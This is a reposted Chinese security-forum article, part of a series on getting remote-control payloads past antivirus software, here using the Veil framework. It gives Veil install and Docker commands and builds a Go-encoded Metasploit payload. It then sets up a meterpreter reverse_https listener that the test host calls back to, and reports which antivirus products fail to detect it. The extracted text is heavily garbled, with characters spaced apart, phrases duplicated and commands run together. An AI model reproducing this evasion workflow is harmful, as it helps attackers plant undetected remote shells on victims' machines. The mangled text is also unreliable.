搜索

[26921] 2020-02-26_远控免杀专题(5)-Veil免杀(VT免杀率2371)

文档创建者：s7ckTeam
浏览次数：29
最后更新：2025-01-19
2020-02-26_远控免杀专题(5)-Veil免杀(VT免杀率2371) 远 控 免 杀 专 题 ( 5 ) - V e i l 免 杀 ( V T 免 杀 率 2 3 / 7 1 ) M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 2 - 2 6 以 下 文 章 来 源 于 T i d e 安 全 团 队   ， 作 者 重 剑 无 锋 本 专 题 文 章 导 航 本 专 题 文 章 导 航 1 、 远 控 免 杀 专 题 ( 1 ) - 基 础 篇 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 3 L Z _ c j 2 g D C 1 b Q A T x q B f w e g 2 、 远 控 免 杀 专 题 ( 2 ) - m s f v e n o m 隐 藏 的 参 数 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 1 r 0 i a k L p n L r j C r O p 2 g T 1 0 w 3 、 远 控 免 杀 专 题 ( 3 ) - m s f 自 带 免 杀 ( V T 免 杀 率 3 5 / 6 9 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / A 0 C Z s l L h C L O K _ H g k H G c p E A 4 、 远 控 免 杀 专 题 ( 4 ) - E v a s i o n 模 块 ( V T 免 杀 率 1 2 / 7 1 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / Y n n C M 7 W 2 0 x S c v 5 2 k _ u b x Y Q 5 、 远 控 免 杀 专 题 ( 5 ) - V e i l 免 杀 ( V T 免 杀 率 2 3 / 7 1 ) : 本 文 文 章 打 包 下 载 及 相 关 软 件 下 载 ： 文 章 打 包 下 载 及 相 关 软 件 下 载 ： 免 杀 能 力 一 览 表 免 杀 能 力 一 览 表 几 点 说 明 ： 几 点 说 明 ： T i d e 安 全 团 队 安 全 团 队   . T i d e 安 全 团 队 以 信 安 技 术 研 究 为 目 标 ， 致 力 于 分 享 高 质 量 原 创 文 章 、 开 源 安 全 工 具 、 交 流 安 全 技 术 ， 研 究 方 向 覆 盖 网 络 攻 防 、 W e b 安 全 、 移 动 终 端 、 安 全 开 发 、 物 联 网 / 工 控 安 全 / A I 安 全 等 多 个 领 域 ， 对 安 全 感 兴 趣 的 小 伙 伴 可 以 关 注 我 们 。 h t t p s : / / g i t h u b . c o m / T i d e S e c / B y p a s s A n t i V i r u s
1 、 下 表 中 标 识 、 下 表 中 标 识   √   说 明 相 应 杀 毒 软 件 未 检 测 出 病 毒 ， 也 就 是 代 表 了 说 明 相 应 杀 毒 软 件 未 检 测 出 病 毒 ， 也 就 是 代 表 了 B y p a s s 。 。 2 、 为 了 更 好 的 对 比 效 果 ， 大 部 分 测 试 、 为 了 更 好 的 对 比 效 果 ， 大 部 分 测 试 p a y l o a d 均 使 用 均 使 用 m s f 的 的 模 块 生 成 。 模 块 生 成 。 3 、 由 于 本 机 测 试 时 只 是 安 装 了 、 由 于 本 机 测 试 时 只 是 安 装 了 3 6 0 全 家 桶 和 火 绒 ， 所 以 默 认 情 况 下 全 家 桶 和 火 绒 ， 所 以 默 认 情 况 下 3 6 0 和 火 绒 杀 毒 情 况 指 的 是 静 态 和 火 绒 杀 毒 情 况 指 的 是 静 态 + 动 态 查 杀 。 动 态 查 杀 。 3 6 0 杀 毒 版 本 杀 毒 版 本 ( 2 0 1 9 . 1 2 . 1 2 ) ， 火 绒 版 本 ， 火 绒 版 本 ( 2 0 1 9 . 1 2 . 1 2 ) ， ， 3 6 0 安 全 卫 士 安 全 卫 士 ( 2 0 1 9 . 1 2 . 1 7 ) 。 。 4 、 其 他 杀 软 的 检 测 指 标 是 在 、 其 他 杀 软 的 检 测 指 标 是 在 （ 简 称 （ 简 称 V T ） 上 在 线 查 杀 ， 所 以 可 能 只 是 代 表 了 静 态 查 杀 能 力 ， 数 据 仅 供 参 考 ， 不 足 以 作 为 免 杀 的 精 确 判 断 指 ） 上 在 线 查 杀 ， 所 以 可 能 只 是 代 表 了 静 态 查 杀 能 力 ， 数 据 仅 供 参 考 ， 不 足 以 作 为 免 杀 的 精 确 判 断 指 标 。 标 。 前 言 前 言 V e i l 、 V e n o m 和 S h e l l t e r 是 三 大 老 牌 免 杀 工 具 ， 虽 然 说 人 怕 出 名 猪 怕 壮 ， 但 目 前 这 几 款 免 杀 工 具 在 扩 展 性 和 免 杀 能 力 方 面 依 然 有 着 不 错 的 表 现 。 V e i l - E v a s i o n 是 一 个 用 p y t h o n 写 的 免 杀 框 架 ， 可 以 将 任 意 脚 本 或 一 段 s h e l l c o d e 转 换 成 W i n d o w s 可 执 行 文 件 ， 还 能 利 用 M e t a s p l o i t 框 架 生 成 相 兼 容 的 P a y l o a d 工 具 ， 从 而 逃 避 了 常 见 防 病 毒 产 品 的 检 测 。 安 装 安 装 v e i l 常 规 安 装 失 败 常 规 安 装 失 败 v e i l 地 址 ： h t t p s : / / g i t h u b . c o m / V e i l - F r a m e w o r k / V e i l 安 装 参 考 k a l i 快 速 安 装 w i n d o w s / m e t e r p e r t e r / r e v e r s e _ t c p 5 . 0 . 0 . 8 1 6 0 5 . 0 . 3 3 . 1 3 1 2 . 0 . 0 . 2 0 0 1 v i r u s t o t a l . c o m h t t p s : / / w w w . f r e e b u f . c o m / s e c t o o l / 8 9 0 2 4 . h t m l
安 装 信 息 如 下 看 起 来 没 什 么 问 题 ， 但 后 来 在 执 行 的 时 候 各 种 出 错 ， 依 赖 包 各 种 出 问 题 ， 无 论 是 快 速 安 装 还 是 常 规 手 工 安 装 都 没 能 解 a p t   - y   i n s t a l l   v e i l / u s r / s h a r e / v e i l / c o n f i g / s e t u p . s h   - - f o r c e   - - s i l e n t
决 。 网 上 也 有 很 多 人 吐 槽 安 装 比 较 繁 杂 ， 出 现 各 种 状 况 ， 但 也 有 的 系 统 安 全 比 较 顺 利 。 后 来 ， 发 现 有 人 做 好 了 v e i l 的 d o c k e r 镜 像 ， 简 单 便 捷 ， 一 键 运 行 。 D o c k e r 安 装 安 装 镜 像 地 址 ： 在 k a l i 里 安 装 d o c k e r 后 ， 添 加 d o c k e r 加 速 镜 像 地 址 然 后 重 启 d o c k e r 服 务 拉 取 v e i l 镜 像 拉 取 成 功 后 ， 执 行 是 将 宿 主 机 的 目 录 映 射 到 d o c k e r 里 面 ， 这 样 v e i l 生 成 的 p a y l o a d 可 以 直 接 在 宿 主 机 里 使 用 。 h t t p s : / / h u b . d o c k e r . c o m / r / m a t t i a s o h l s s o n / v e i l / v i   / e t c / d o c k e r / d a e m o n . j s o n {         " r e g i s t r y - m i r r o r s " :   [                 " h t t p s : / / 1 n j 0 z r e n . m i r r o r . a l i y u n c s . c o m " ,                 " h t t p s : / / d o c k e r . m i r r o r s . u s t c . e d u . c n " ,                 " h t t p : / / f 1 3 6 1 d b 2 . m . d a o c l o u d . i o " ,                 " h t t p s : / / r e g i s t r y . d o c k e r - c n . c o m "         ] } s y s t e m c t l   d a e m o n - r e l o a d s y s t e m c t l   r e s t a r t   d o c k e r d o c k e r   p u l l   m a t t i a s o h l s s o n / v e i l d o c k e r   r u n   - i t   - v   / t m p / v e i l - o u t p u t : / v a r / l i b / v e i l / o u t p u t : Z   m a t t i a s o h l s s o n / v e i l - v   / t m p / v e i l - o u t p u t : / v a r / l i b / v e i l / o u t p u t : Z / t m p / v e i l - o u t p u t
之 后 再 进 入 镜 像 可 以 在 启 动 镜 像 后 使 用 下 面 命 令 执 行 命 令 可 启 动 , 版 本 为 3 . 1 . 1 。 v e i l 使 用 使 用 v e i l 有 两 个 免 杀 的 工 具 ， E v a s i o n 和 O r d n a n c e 。 d o c k e r   e x e c   - i t   4 a e 7 2 d c 9 1 4 c 9   / b i n / b a s h v e i l
O r d n a n c e 可 生 成 在 V e i l - E v a s i o n 中 使 用 的 s h e l l c o d e ， E v a s i o n 是 用 做 文 件 免 杀 。 我 们 一 般 选 择 E v a s i o n 使 用 可 以 看 到 到 4 1 种 s t a g e r V e i l > :   u s e   1                                       # 选 择 E v a s i o n 功 能 V e i l / E v a s i o n > :   l i s t                         # 查 看 p a y l o a d 列 表 l i s t
推 荐 使 用 以 g o 和 r u b y 语 言 e n c o d e 的 编 码 方 式 。 像 p y t h o n 这 类 的 与 用 户 有 较 高 的 交 互 就 容 易 被 查 杀 。 v e i l 原 理 可 以 参 考 这 篇 文 章 ： 使 用 使 用 v e i l 直 接 生 成 直 接 生 成 e x e ( V T 查 杀 率 查 杀 率 4 4 / 7 0 ) v e i l 可 以 直 接 生 成 支 持 m s f 的 p a y l o a d ， 我 们 先 试 一 下 看 看 效 果 。 我 们 使 用 g o 语 言 生 成 m s f 的 p a y l o a d 设 置 好 m s f 的 监 听 主 机 和 端 口 就 可 以 ， 下 图 所 示 h t t p s : / / x z . a l i y u n . c o m / t / 4 1 9 1 V e i l / E v a s i o n > :   u s e   1 6
然 后 再 设 定 好 生 成 的 p a y l o a d 的 名 称 ， 我 这 里 就 用 g o _ m s f 了 然 后 一 堆 编 码 编 译 之 后 ， 就 生 成 p a y l o a d 了
因 为 之 前 已 经 做 过 映 射 ， 所 以 在 宿 主 机 的 目 录 可 直 接 看 到 生 成 的 e x e 文 件 。 在 m s f 中 监 听 在 测 试 主 机 执 行 ， 发 现 m s f 中 可 上 线 / t m p / v e i l - o u t p u t / c o m p i l e d / m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   l p o r t   3 3 3 4 m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   l p o r t   1 0 . 2 1 1 . 5 5 . 2 m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   e x p l o i t g o _ m s f . e x e
而 此 时 是 正 常 打 开 3 6 0 和 火 绒 的 v i r u s t o t a l . c o m 中 4 4 / 7 1 个 报 毒
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理